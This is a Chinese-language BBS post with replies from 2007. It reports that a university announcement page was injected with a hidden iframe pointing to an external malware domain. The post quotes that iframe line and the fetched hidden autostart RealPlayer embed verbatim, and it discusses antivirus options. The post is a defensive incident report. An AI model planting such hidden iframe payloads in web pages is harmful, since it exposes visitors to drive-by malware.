作者mosquito520 (卖频宽控制分享器)
看板NUU_Talk
标题[闲聊] 学校公告又被植入恶意程式...
时间Sun Jun 17 22:12:19 2007
我家那口子问我的...
他说用IE开会关掉...
我就看了一下...
用firefox开...
不过还是被防毒软体挡了下来...
学校公告的最前面被加入这样一行html语法...
<iframe src=
http://www.lliinnss.com/ot/c22.htm width=0 height=0></iframe>
用wget抓下来看看...
内容如下...
<embed type="audio/x-pn-realaudio-plugin"
src="l3.smi"
controls="controlpanel,statusbar" height=0
width=0 autostart=true hidden>
意思是会开启一个隐藏的real media档案...
real media档案是可以加入恶意程式的...
so...
如果开了没反应的...
可以换防毒软体了...
在此我推荐avast...
该找到的都有找到...正确率够高...
不该跳出来的也没乱跳...误报率够低...
而且...他是可以免费使用的...:)
家庭版只需要填一些简单的资料就可以取得序号码...
期限是一年...所以一年要更新一次...
不过单就他监控的缜密度跟更新的速度...
我倒是颇乐意一年更新一次序号的...
印象中好像是M$ IIS的某个漏洞会造成有心人士可以植入恶意程式...
看样子学校方面没有处理的很好的样子...
﹝还是根本没处理呢？hm...﹞
PS.
刚才又查了一下...
那个网域的注册资料...
http://www.who.is/whois-com/ip-address/lliinnss.com/
Registrar: XIN NET TECHNOLOGY CORPORATION
Administrative Contact:
qin lin
qinlin
lianquanxilu
xiamen Fujian 361000
China
tel: 86 0592 5169123
fax: 86 0592 5169123
这一切都是阿共仔的阴毛啦...XD
--
▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁
国 立 联 合 大 学
(理工/电资/管理/技术/客家)院所 招生中
National United University
───────────────────────────────────
首页
http://www.nuu.edu.tw BBS telnet://uun.twbbs.org
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 220.133.140.180
※ 编辑: mosquito520 来自: 220.133.140.180 (06/17 22:17)
1F：推 airer:挖!!真专业 06/17 22:23
2F：推 tommy7594:推专业~ 06/17 22:26
3F：推 YenXD:real player帮我档下来耶 好酷 06/17 22:31
4F：推 fallen0415:我应该要去点看看以测试我的防毒软体吗= =? 06/17 22:33
5F：推 fallen0415:...........点了 没反应 啊好= = 06/17 22:39
6F：→ fallen0415:传说中的好奇心会害死人= =" 06/17 22:40
※ fallen0415:转录至看板 StupidClown 06/17 22:41
7F：推 fghtgb:专业!!! 06/17 22:41
8F：推 dogkid:那AntiVir这套防毒推荐吗? @.@ 06/17 22:41
9F：推 mosquito520:小红伞...自己用的感觉颇差...倒不是正确率误报率问题 06/17 22:48
10F：→ mosquito520:主要是那个更新...每次更新我都想杀人... 06/17 22:49
11F：→ mosquito520:所以我就改用avast了...( ￣ c￣)y▂ξ 06/17 22:50
12F：推 jkfive:还在用随机版的卡车司机5.0 06/17 22:50
13F：推 moveurbody:反译程式启动中XD 06/17 22:51
14F：推 moveurbody:突然想到Yen大 你是用RP原装的吗? MPC包装的应该侦测不 06/17 22:53
15F：→ moveurbody:出来 06/17 22:55
16F：推 YenXD:不是耶!! XD 06/17 23:00
17F：推 kiyami:好酷喔!!XD 06/17 23:01
18F：推 YenXD:avast home 跟 pro 板效果差很多吗? 06/17 23:08
19F：→ YenXD:我发现nod不会档 该考虑换掉了 = = 06/17 23:08
20F：推 moveurbody:nod他的主要是防病毒 但是木马的好像没什麽用 06/17 23:27
21F：→ moveurbody:所以很多人是用nod加上小红伞 06/17 23:28
22F：推 mosquito520:用了avast home不错的话...有钱就考虑买pro用阿:) 06/17 23:54
23F：→ mosquito520:nod32...这我不熟...不予置评:) 06/17 23:55
24F：推 ayuky:那现在是不能看校园公告吗= = 06/18 00:00
25F：推 metalfinally:我只想知道一件事，为什麽我们学校常被植入木马啊... 06/18 00:13
26F：推 mattily:耶!我的NOD有找到(这有啥好高兴的( ‵□′)─C＜─___－＞ 06/18 00:22
27F：推 mosquito520:回楼上上...八成是IIS漏洞没有补... 06/18 00:33
28F：推 dark0224:低调推avast 06/18 14:35
29F：推 jkfive:没事干麻低调推... 06/18 19:28
30F：推 s2415372:上次去找学校网管师问过...他说漏洞没办法 ... 06/19 02:08
31F：→ s2415372:所以大家只能想办法自保了 ...顺便投卡巴一票 06/19 02:09
32F：→ s2415372:另外 ...最近常去亲身体验的时候发现现在的木马好像 06/19 02:10
33F：→ s2415372:和上个月 还有上上个月的都不一样 难道学生变成待宰羔羊 06/19 02:12
34F：→ s2415372:另外 想问一下....有没有人有那种专门拿来解析病毒的软体 06/19 02:13
35F：→ s2415372:就是那个能制造一个虚拟环境给病毒执行 方便观察的软体 06/19 02:14